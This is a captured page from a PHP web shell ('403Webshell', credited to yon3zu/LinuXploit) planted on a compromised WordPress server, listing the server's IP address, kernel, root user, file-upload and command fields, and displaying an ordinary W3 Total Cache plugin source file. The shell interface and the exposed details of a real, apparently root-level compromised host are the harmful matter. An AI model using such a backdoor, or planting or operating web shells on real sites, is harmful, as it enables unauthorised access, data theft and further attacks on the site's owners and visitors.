403Webshell
Server IP : 130.225.57.55  /  Your IP : 216.73.216.60
Web Server : Apache
System : Linux wp-vhost07 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /srv/www/reco2st.eu/https/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /srv/www/reco2st.eu/https/wp-content/plugins/w3-total-cache/Extension_NewRelic_AdminActions.php
<?php
/**
 * File: Extension_NewRelic_AdminActions.php
 *
 * @package W3TC
 */

namespace W3TC;

/**
 * Class Extension_NewRelic_AdminActions
 *
 * phpcs:disable PSR2.Classes.PropertyDeclaration.Underscore
 */
class Extension_NewRelic_AdminActions {
	/**
	 * Config
	 *
	 * @var Config
	 */
	private $_config = null;

	/**
	 * Constructor for initializing the configuration.
	 *
	 * @return void
	 */
	public function __construct() {
		$this->_config = Dispatcher::config();
	}

	/**
	 * Saves the New Relic application settings.
	 *
	 * @return void
	 */
	public function w3tc_save_new_relic() {
		$w3tc_service                  = Dispatcher::component( 'Extension_NewRelic_Service' );
		$application                   = Util_Request::get_array( 'application' );
		$application['alerts_enabled'] = empty( $application['alerts_enabled'] ) ? 'false' : 'true';
		$application['rum_enabled']    = empty( $application['rum_enabled'] ) ? 'false' : 'true';
		$w3tc_result                   = $w3tc_service->update_application_settings( $application );
		Util_Admin::redirect(
			array(
				'w3tc_note' => 'new_relic_save',
			),
			true
		);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit